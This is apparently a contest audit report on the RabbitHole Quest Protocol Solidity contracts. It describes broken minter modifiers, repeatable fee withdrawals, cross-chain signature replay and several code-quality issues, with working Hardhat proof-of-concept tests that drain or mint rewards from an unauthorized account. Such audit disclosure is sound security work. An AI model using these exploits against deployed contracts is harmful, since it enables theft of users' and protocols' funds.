RabbitHole Quest Protocol contest - rbserver's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104 https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

Vulnerability details

Impact

Anyone can call the following RabbitHoleReceipt.mint function to mint one or more RabbitHole receipt without the claim signer's consent because its RabbitHoleReceipt.onlyMinter modifier executes msg.sender == minterAddress, which does not revert when msg.sender is not minterAddress. A malicious actor is able to mint as many RabbitHole receipts as she or he wants and claim the associated rewards to drain most or all of the reward token balance owned by the quest contract.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104

    function mint(address to_, string memory questId_) public onlyMinter {
        _tokenIds.increment();
        uint newTokenID = _tokenIds.current();
        questIdForTokenId[newTokenID] = questId_;
        timestampForTokenId[newTokenID] = block.timestamp;
        _safeMint(to_, newTokenID);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

    modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

Proof of Concept

Please append the following test in the claim() describe block in quest-protocol\test\Erc20Quest.spec.ts. This test will pass to demonstrate the described scenario.

    it.only("User, who is not RabbitHoleReceipt contract's minter, can mint RabbitHole receipts and claim associated rewards", async () => {
      // owner is RabbitHoleReceipt contract's minter
      const minterAddress = await deployedRabbitholeReceiptContract.minterAddress()
      expect(minterAddress, owner.address)

      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [10000])

      // firstAddress does not own any reward tokens at this moment
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(0)

      const startingQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      // firstAddress, who is not RabbitHoleReceipt contract's minter,
      //   is able to mint multiple RabbitHole receipts without claim signer's consent and claim the associated rewards 
      for (let i = 0; i < 10; i++) {
        await deployedRabbitholeReceiptContract.connect(firstAddress).mint(firstAddress.address, questId)
        await deployedQuestContract.connect(firstAddress).claim()
      }

      // firstAddress now owns rewardAmount * 10 reward tokens
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(rewardAmount * 10)

      // quest contract now owns rewardAmount * 10 less reward tokens than before
      const endQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
      expect(startingQuestContractRewardTokenBalance.sub(endQuestContractRewardTokenBalance)).to.equal(rewardAmount * 10)

      await ethers.provider.send('evm_increaseTime', [-10000])
    })

Tools Used

VSCode

Recommended Mitigation Steps

The RabbitHoleReceipt.onlyMinter modifier can be updated to revert if msg.sender is not minterAddress.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L83-L85 https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L92-L99 https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Impact

Anyone can call the following RabbitHoleTickets.mint and RabbitHoleTickets.mintBatch functions to mint one or more RabbitHole tickets. This is because these functions use the RabbitHoleTickets.onlyMinter modifier that executes msg.sender == minterAddress and does not revert when msg.sender is not minterAddress. Hence, a malicious actor can mint as many RabbitHole tickets as she or he wants. Since the RabbitHoleTickets contract is a 1155 reward contract used by the RabbitHole team, this malicious actor basically owns the rewards minted by her or him.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L83-L85

    function mint(address to_, uint256 id_, uint256 amount_, bytes memory data_) public onlyMinter {
        _mint(to_, id_, amount_, data_);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L92-L99

    function mintBatch(
        address to_,
        uint256[] memory ids_,
        uint256[] memory amounts_,
        bytes memory data_
    ) public onlyMinter {
        _mintBatch(to_, ids_, amounts_, data_);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L47-L50

    modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

Proof of Concept

Please append the following test in the mintBatch describe block in quest-protocol\test\RabbitHoleTickets.spec.ts. This test will pass to demonstrate the described scenario.

    it.only("User, who is not RabbitHoleTickets contract's minter, can mint RabbitHole tickets and own associated rewards", async () => {
      // minterAddress is RabbitHoleTickets contract's minter
      expect(await RHTickets.minterAddress()).to.equal(minterAddress.address)

      // firstAddress, who is not RabbitHoleTickets contract's minter,
      //   is able to mint one or more RabbitHole tickets through calling mint and mintBatch functions
      await RHTickets.connect(firstAddress).mint(firstAddress.address, 1, 5, "0x");
      await RHTickets.connect(firstAddress).mintBatch(firstAddress.address, [2,3], [7,8], "0x");

      // Since RabbitHoleTickets contract is a 1155 reward contract used by the RabbitHole team,
      //   firstAddress basically owns the minted rewards now
      expect(await RHTickets.balanceOf(firstAddress.address, 1)).to.eq(5);
      expect(await RHTickets.balanceOf(firstAddress.address, 2)).to.eq(7);
      expect(await RHTickets.balanceOf(firstAddress.address, 3)).to.eq(8);
    })

Tools Used

VSCode

Recommended Mitigation Steps

The RabbitHoleTickets.onlyMinter modifier can be updated to revert if msg.sender and minterAddress are not equal.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Erc20Quest.sol#L102-L104 https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L76-L79

Vulnerability details

Impact

For an ERC20 quest, anyone can call the following withdrawFee function to transfer the protocol fee to the protocol fee recipient after the quest is ended because its onlyAdminWithdrawAfterEnd modifier does not require the msg.sender to have any specific role even though the name of this modifier suggests that the function using it should only be callable by an admin. Before the ERC20 quest is ended, it is possible that some RabbitHole receipt holders did not claim the rewards for their receipts yet. After the quest is ended, a malicious actor can call the withdrawFee function for more than one time to transfer reward tokens that are worth multiples of the protocol fee from the Erc20Quest contract to the protocol fee recipient before these RabbitHole receipt holders claim their rewards; when they are claiming their rewards, their transactions can revert due to insufficient balance of the reward tokens left in the Erc20Quest contract. This can cause inconveniences and financial difficulties to the affected RabbitHole receipt holders, especially those who need to use their reward tokens urgently. Moreover, this is inconsistent with the design of the Erc20Quest.withdrawRemainingTokens function, which does not allow the Erc20Quest contract's owner to withdraw the unclaimed reward token amounts that are associated with the minted RabbitHole receipts after the quest is ended.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Erc20Quest.sol#L102-L104

    function withdrawFee() public onlyAdminWithdrawAfterEnd {
        IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L76-L79

    modifier onlyAdminWithdrawAfterEnd() {
        if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
        _;
    }

Proof of Concept

In quest-protocol\test\Erc20Quest.spec.ts, please make the following changes.

First, please change totalParticipants to 1 as follows.

24:   const totalParticipants = 1 // @audit change to 1 for POC purpose

Then, please change the transferRewardsToDistributor function to transferring totalRewardsPlusFee.

117:   const transferRewardsToDistributor = async () => {
118:     const distributorContractAddress = deployedQuestContract.address;
119:     await deployedSampleErc20Contract.functions.transfer(distributorContractAddress, totalRewardsPlusFee) // @audit change to transferring totalRewardsPlusFee for POC purpose
120:   }

Last, please append the following test in the withdrawFee() describe block. This test will pass to demonstrate the described scenario.

    it.only('Anyone can call withdrawFee function for an ERC20 quest and can possibly prevent holder of RabbitHole receipt from claiming rewards', async () => {
      // quest contract owns 1200 reward tokens
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(1200)

      // firstAddress mints a RabbitHole receipt that is worth 1000 reward tokens but does not claim this amount yet
      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [200000])

      // secondAddress, who is not quest contract's owner or firstAddress,
      //   calls withdrawFee function for six times after quest is ended.
      for (let i = 0; i < 6; i++) {
        await deployedQuestContract.connect(secondAddress).withdrawFee()
      }

      // At this moment, all reward tokens were transferred from quest contract to protocol fee recipient
      //   without quest contract's owner's and firstAddress' consent.
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(0)
      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(1200)

      // firstAddress is unable to claim rewards for its RabbitHole receipt
      await expect(
        deployedQuestContract.connect(firstAddress).claim()
      ).to.be.revertedWith('ERC20: transfer amount exceeds balance')

      await ethers.provider.send('evm_increaseTime', [-200000])
    })

Tools Used

VSCode

Recommended Mitigation Steps

The withdrawFee function can be updated to be allowed to transfer the protocol fee amount from the Erc20Quest contract to the protocol fee recipient only once.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Erc1155Quest.sol#L54-L63

Vulnerability details

Impact

The Erc20Quest.withdrawRemainingTokens function prevents the Erc20Quest contract's owner from withdrawing the unclaimed reward token amounts that are associated with the minted RabbitHole receipts after the quest is ended. However, this is not the case for the following Erc1155Quest.withdrawRemainingTokens function. After the ERC1155 quest is ended, if the rewards for some minted RabbitHole receipts are not withdrawn yet, calling the Erc1155Quest.withdrawRemainingTokens function by the Erc1155Quest contract's owner can transfer these unclaimed reward token amounts to the specified to_ address even though such owner has no malicious intent. Afterwards, regaining these deserved reward token amounts can be troublesome to the affected RabbitHole receipt holders, especially these who need to use their reward tokens in a timely manner.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Erc1155Quest.sol#L54-L63

    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);
        IERC1155(rewardToken).safeTransferFrom(
            address(this),
            to_,
            rewardAmountInWeiOrTokenId,
            IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId),
            '0x00'
        );
    }

Proof of Concept

Please append the following test in the withdrawRemainingTokens() describe block in quest-protocol\test\Erc1155Quest.spec.ts. This test will pass to demonstrate the described scenario.

    it.only('Calling withdrawRemainingTokens function for an ERC1155 quest can possibly withdraw rewards that are associated with minted RabbitHole receipts', async () => {
      // quest contract owns 100 reward tokens and owner owns no reward tokens
      expect(await deployedSampleErc1155Contract.balanceOf(deployedQuestContract.address, rewardAmount)).to.equal(100)
      expect(await deployedSampleErc1155Contract.balanceOf(owner.address, rewardAmount)).to.equal(0)

      // firstAddress owns a RabbitHole receipt but does not claim the associated rewards yet
      await deployedRabbitholeReceiptContract.mint(firstAddress.address, questId)
      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [20000])

      // owner calls withdrawRemainingTokens function after quest is ended
      await deployedQuestContract.connect(owner).withdrawRemainingTokens(owner.address)

      // all of the 100 reward tokens are transferred from quest contract to owner while firstAddress has not claimed any rewards yet
      expect(await deployedSampleErc1155Contract.balanceOf(deployedQuestContract.address, rewardAmount)).to.equal(0)
      expect(await deployedSampleErc1155Contract.balanceOf(owner.address, rewardAmount)).to.equal(100)

      // firstAddress is unable to claim rewards for its RabbitHole receipt
      await expect(
        deployedQuestContract.connect(firstAddress).claim()
      ).to.be.revertedWith('ERC1155: insufficient balance for transfer')

      await ethers.provider.send('evm_increaseTime', [-20000])
    })

Tools Used

VSCode

Recommended Mitigation Steps

The Erc1155Quest.withdrawRemainingTokens function can be updated to not allow any withdrawals of the unclaimed reward token amounts that are associated with the minted RabbitHole receipts so it becomes consistent with the Erc20Quest.withdrawRemainingTokens function.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L96-L118

Vulnerability details

Impact

After the reward token amount associated with the minted RabbitHole receipt is claimed, the holder of this receipt can still trade and transfer it to another user, who purchases this receipt while being unaware of this receipt's claim status. After the purchase, calling the following claim function for this receipt will revert with the AlreadyClaimed custom error. As a result, this buyer loses the payment amount for purchasing such receipt and is unable to claim any associated rewards.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L96-L118

    function claim() public virtual onlyQuestActive {
        ...

        uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender);

        ...

        uint256 redeemableTokenCount = 0;
        for (uint i = 0; i < tokens.length; i++) {
            if (!isClaimed(tokens[i])) {
                redeemableTokenCount++;
            }
        }

        if (redeemableTokenCount == 0) revert AlreadyClaimed();

        ...
    }

Proof of Concept

Please append the following test in the claim() describe block in quest-protocol\test\Erc20Quest.spec.ts. This test will pass to demonstrate the described scenario.

    it.only('RabbitHole receipt, which has its associated rewards already claimed, can still be traded and transferred to others', async () => {
      // firstAddress mints a RabbitHole receipt
      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [86400])

      // firstAddress claims rewards for its RabbitHole receipt
      await deployedQuestContract.connect(firstAddress).claim()

      // firstAddress can still trade and transfer its RabbitHole receipt to secondAddress
      await deployedRabbitholeReceiptContract.connect(firstAddress)['safeTransferFrom(address,address,uint256)'](firstAddress.address, secondAddress.address, 1)

      // However, secondAddress is unable to claim any rewards associated with this RabbitHole receipt
      //   so it loses the payment amount for purchasing this RabbitHole receipt.
      await expect(deployedQuestContract.connect(secondAddress).claim()).to.be.revertedWithCustomError(questContract, 'AlreadyClaimed')

      await ethers.provider.send('evm_increaseTime', [-86400])
    })

Tools Used

VSCode

Recommended Mitigation Steps

When calling the claim function, the RabbitHole receipt, which has its associated rewards claimed, can be burnt so it cannot be traded or transferred afterwards.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L219-L229

Vulnerability details

Impact

When calling the following mintReceipt function, the message hash, which is used to check against the signature, only contains information about msg.sender and quest ID. This means that the signature can lack uniqueness, such as missing information about the chain id. In https://github.com/code-423n4/2023-01-rabbithole#scoping-details, it states that the Quests Protocol is multi-chain and will go on Polygon. When this protocol is deployed on different chains, the signature that is provided and used for one chain can be reused on another chain because such signature does not specify the chain ID for its only usage. As a result, a malicious user can use the same signature to mint RabbitHole receipts and claim the associated rewards on different chains when the signature was intended to allow her or him to mint the receipt only on one chain.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L219-L229

    function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public {
        if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint();
        if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();
        if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
        if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

        quests[questId_].addressMinted[msg.sender] = true;
        quests[questId_].numberMinted++;
        emit ReceiptMinted(msg.sender, questId_);
        rabbitholeReceiptContract.mint(msg.sender, questId_);
    }

Proof of Concept

The following steps can occur for the described scenario.

1. The Quests Protocol is deployed on both the Ethereum mainnet and Polygon.
2. Alice is provided with a signature that supposes to allow her to mint one RabbitHole receipt for Quest ID A only on the Ethereum mainnet.
3. Alice uses the signature to mint one RabbitHole receipt for Quest ID A on the Ethereum mainnet successfully.
4. Alice then uses the same signature to mint another RabbitHole receipt for Quest ID A on Polygon though this receipt actually should not be owned by her.
5. Alice claims the rewards associated with the RabbitHole receipts for Quest ID A on the Ethereum mainnet and Polygon. The protocol loses the reward token amount transferred to her on Polygon.

Tools Used

VSCode

Recommended Mitigation Steps

The signatures can be updated to include domainSeparator, which is specified by https://eips.ethereum.org/EIPS/eip-712. Then, the mintReceipt function can be updated to handle such signatures.

[01] questIdCount CAN BE MISLEADING

As shown by the following QuestFactory.initialize function, questIdCount is set to 1 when the QuestFactory contract is initialized; however, no quests are created at that moment. Later, when the createQuest function below is called, questIdCount is incremented by 1. This means that questIdCount is always 1 larger than the number of created quests. Since questIdCount is public, users can all view it but it can provide misleading information about the number of quests that have been created. To avoid confusion, please consider not setting questIdCount to 1 in the QuestFactory.initialize function.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L32

    uint public questIdCount;

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L37-L50

    function initialize(
        address claimSignerAddress_,
        address rabbitholeReceiptContract_,
        address protocolFeeRecipient_
    ) public initializer {
        ...
        questIdCount = 1;
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L61-L137

    function createQuest(
        address rewardTokenAddress_,
        uint256 endTime_,
        uint256 startTime_,
        uint256 totalParticipants_,
        uint256 rewardAmountOrTokenId_,
        string memory contractType_,
        string memory questId_
    ) public onlyRole(CREATE_QUEST_ROLE) returns (address) {
        ...

        if (keccak256(abi.encodePacked(contractType_)) == keccak256(abi.encodePacked('erc20'))) {
            ...
            ++questIdCount;
            ...
        }

        if (keccak256(abi.encodePacked(contractType_)) == keccak256(abi.encodePacked('erc1155'))) {
            ...
            ++questIdCount;
            ...
        }

        ...
    }

[02] _setClaimed FUNCTION CAN BE CALLED FOR TOKENS THAT ARE ALREADY MARKED AS CLAIMED

When calling the following claim function, tokens that are used as the input for the _setClaimed function call includes msg.sender's all RabbitHole receipt tokens for the corresponding quest. Some of these tokens are already marked as claimed during the previous claims so executing _setClaimed(tokens) can mark the tokens, which have the associated rewards already claimed, as claimed again. To avoid such redundant and unnecessary operations, please consider updating the _setClaimed function to skip the tokens that are already marked as claimed.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L96-L118

    function claim() public virtual onlyQuestActive {
        ...

        uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender);

        if (tokens.length == 0) revert NoTokensToClaim();

        uint256 redeemableTokenCount = 0;
        for (uint i = 0; i < tokens.length; i++) {
            if (!isClaimed(tokens[i])) {
                redeemableTokenCount++;
            }
        }

        if (redeemableTokenCount == 0) revert AlreadyClaimed();

        uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount);
        _setClaimed(tokens);
        ...
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Quest.sol#L69-L73

    function _setClaimed(uint256[] memory tokenIds_) private {
        for (uint i = 0; i < tokenIds_.length; i++) {
            claimedList[tokenIds_[i]] = true;
        }
    }

[03] MISSING address(0) CHECKS FOR CRITICAL ADDRESS INPUTS

( Please note that the following instances are not found in https://gist.github.com/GalloDaSballo/39b929e8bd48704b9d35b448aaa29480#nc-1-missing-checks-for-address0-when-assigning-values-to-address-state-variables. )

To prevent unintended behaviors, critical address inputs should be checked against address(0).

address(0) check is missing for to_ in the following withdrawRemainingTokens function. Please consider checking it. https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/Erc20Quest.sol#L81-L87

    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);

        ...
        IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
    }

address(0) check is missing for rabbitholeReceiptContract_ in the following initialize function. Please consider checking it. https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L37-L50

    function initialize(
        address claimSignerAddress_,
        address rabbitholeReceiptContract_,
        address protocolFeeRecipient_
    ) public initializer {
        ...
        rabbitholeReceiptContract = RabbitHoleReceipt(rabbitholeReceiptContract_);
        ...
    }

address(0) check is missing for rabbitholeReceiptContract_ in the following setRabbitHoleReceiptContract function. Please consider checking it. https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/QuestFactory.sol#L172-L174

    function setRabbitHoleReceiptContract(address rabbitholeReceiptContract_) public onlyOwner {
        rabbitholeReceiptContract = RabbitHoleReceipt(rabbitholeReceiptContract_);
    }

address(0) check is missing for minterAddress_ in the following initialize function. Please consider checking it. https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L32-L45

    function initialize(
        address ticketRenderer_,
        address royaltyRecipient_,
        address minterAddress_,
        uint royaltyFee_
    ) public initializer {
        ...
        minterAddress = minterAddress_;
        ...
    }

address(0) check is missing for minterAddress_ in the following setMinterAddress function. Please consider checking it. https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L73-L76

    function setMinterAddress(address minterAddress_) public onlyOwner {
        minterAddress = minterAddress_;
        emit MinterAddressSet(minterAddress_);
    }

[04] CONSTANTS CAN BE USED INSTEAD OF MAGIC NUMBERS

To improve readability and maintainability, a constant can be used instead of the magic number. Please consider replacing the magic numbers, such as 10_000, used in the following code with constants.

quest-protocol\contracts\Erc20Quest.sol
  53: return (maxTotalRewards() * questFee) / 10_000;
  97: return (receiptRedeemers() * rewardAmountInWeiOrTokenId * questFee) / 10_000;

quest-protocol\contracts\QuestFactory.sol
  48: setQuestFee(2_000);
  187: if (questFee_ > 10_000) revert QuestFeeTooHigh();

quest-protocol\contracts\RabbitHoleReceipt.sol
  184: uint256 royaltyPayment = (salePrice_ * royaltyFee) / 10_000;

quest-protocol\contracts\RabbitHoleTickets.sol
  113: uint256 royaltyPayment = (salePrice_ * royaltyFee) / 10_000;

[05] REDUNDANT NAMED RETURNS

When a function has unused named returns and used return statement, these named returns become redundant. To improve readability and maintainability, these variables for the named returns can be removed while keeping the return statements for the following royaltyInfo functions.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L178-L186

    function royaltyInfo(
        uint256 tokenId_,
        uint256 salePrice_
    ) external view override returns (address receiver, uint256 royaltyAmount) {
        ...
        return (royaltyRecipient, royaltyPayment);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleTickets.sol#L109-L115

    function royaltyInfo(
        uint256 tokenId_,
        uint256 salePrice_
    ) external view override returns (address receiver, uint256 royaltyAmount) {
        ...
        return (royaltyRecipient, royaltyPayment);
    }

[06] uint256 CAN BE USED INSTEAD OF uint

Both uint and uint256 are used throughout the protocol's code. In favor of explicitness, please consider using uint256 instead of uint in the following code.

quest-protocol\contracts\Erc20Quest.sol
  84: uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;

quest-protocol\contracts\Quest.sol
  70: for (uint i = 0; i < tokenIds_.length; i++) {
  99: uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender);
  104: for (uint i = 0; i < tokens.length; i++) {

quest-protocol\contracts\QuestFactory.sol
  22: uint totalParticipants;
  23: uint numberMinted;
  31: uint public questFee;
  32: uint public questIdCount;
  193: function getNumberMinted(string memory questId_) external view returns (uint) {
  199: function questInfo(string memory questId_) external view returns (address, uint, uint) {
  199: function questInfo(string memory questId_) external view returns (address, uint, uint) {

quest-protocol\contracts\RabbitHoleReceipt.sol
  30: mapping(uint => string) public questIdForTokenId;
  33: uint public royaltyFee;
  34: mapping(uint => uint) public timestampForTokenId;
  34: mapping(uint => uint) public timestampForTokenId;
  47: uint royaltyFee_
  100: uint newTokenID = _tokenIds.current();
  112: ) public view returns (uint[] memory) {
  113: uint msgSenderBalance = balanceOf(claimingAddress_);
  114: uint[] memory tokenIdsForQuest = new uint[](msgSenderBalance);
  114: uint[] memory tokenIdsForQuest = new uint[](msgSenderBalance);
  115: uint foundTokens = 0;
  117: for (uint i = 0; i < msgSenderBalance; i++) {
  118: uint tokenId = tokenOfOwnerByIndex(claimingAddress_, i);
  125: uint[] memory filteredTokens = new uint[](foundTokens);
  125: uint[] memory filteredTokens = new uint[](foundTokens);
  126: uint filterTokensIndexTracker = 0;
  128: for (uint i = 0; i < msgSenderBalance; i++) {
  159: uint tokenId_
  165: (address questAddress, uint totalParticipants, ) = QuestFactoryContract.questInfo(questId);
  169: uint rewardAmount = questContract.getRewardAmount();

quest-protocol\contracts\RabbitHoleTickets.sol
  24: uint public royaltyFee;
  36: uint royaltyFee_
  102: function uri(uint tokenId_) public view virtual override(ERC1155Upgradeable) returns (string memory) {

quest-protocol\contracts\ReceiptRenderer.sol
  22: uint tokenId_,
  24: uint totalParticipants_,
  26: uint rewardAmount_,
  41: uint tokenId_,
  43: uint totalParticipants_,
  45: uint rewardAmount_,
  100: function generateSVG(uint tokenId_, string memory questId_) public pure returns (string memory) {

quest-protocol\contracts\TicketRenderer.sol
  17: uint tokenId_
  36: function generateSVG(uint tokenId_) public pure returns (string memory) {

[07] INCOMPLETE NATSPEC COMMENTS

NatSpec comments provide rich code documentation. The following functions miss the @param and/or @return comments. Please consider completing the NatSpec comments for these functions.

quest-protocol\contracts\Erc20Quest.sol
  96: function protocolFee() public view returns (uint256) {  

quest-protocol\contracts\Erc1155Quest.sol
  33: function start() public override {  

quest-protocol\contracts\Quest.sol
  135: function isClaimed(uint256 tokenId_) public view returns (bool) {   
  140: function getRewardAmount() public view returns (uint256) { 
  145: function getRewardToken() public view returns (address) { 
  150: function withdrawRemainingTokens(address to_) public virtual onlyOwner onlyAdminWithdrawAfterEnd {} 

quest-protocol\contracts\QuestFactory.sol
  193: function getNumberMinted(string memory questId_) external view returns (uint) { 
  199: function questInfo(string memory questId_) external view returns (address, uint, uint) { 
  210: function recoverSigner(bytes32 hash_, bytes memory signature_) public pure returns (address) { 

quest-protocol\contracts\RabbitHoleReceipt.sol
  109: function getOwnedTokenIdsOfQuest(   
  190: function supportsInterface( 

quest-protocol\contracts\RabbitHoleTickets.sol
  102: function uri(uint tokenId_) public view virtual override(ERC1155Upgradeable) returns (string memory) {  
  119: function supportsInterface( 

[08] MISSING NATSPEC COMMENTS

NatSpec comments provide rich code documentation. The following functions miss NatSpec comments. Please consider adding NatSpec comments for these functions.

quest-protocol\contracts\QuestFactory.sol
  37: function initialize(    

quest-protocol\contracts\RabbitHoleReceipt.sol
  43: function initialize(    
  158: function tokenURI(  

quest-protocol\contracts\ReceiptRenderer.sol
  40: function generateDataURI(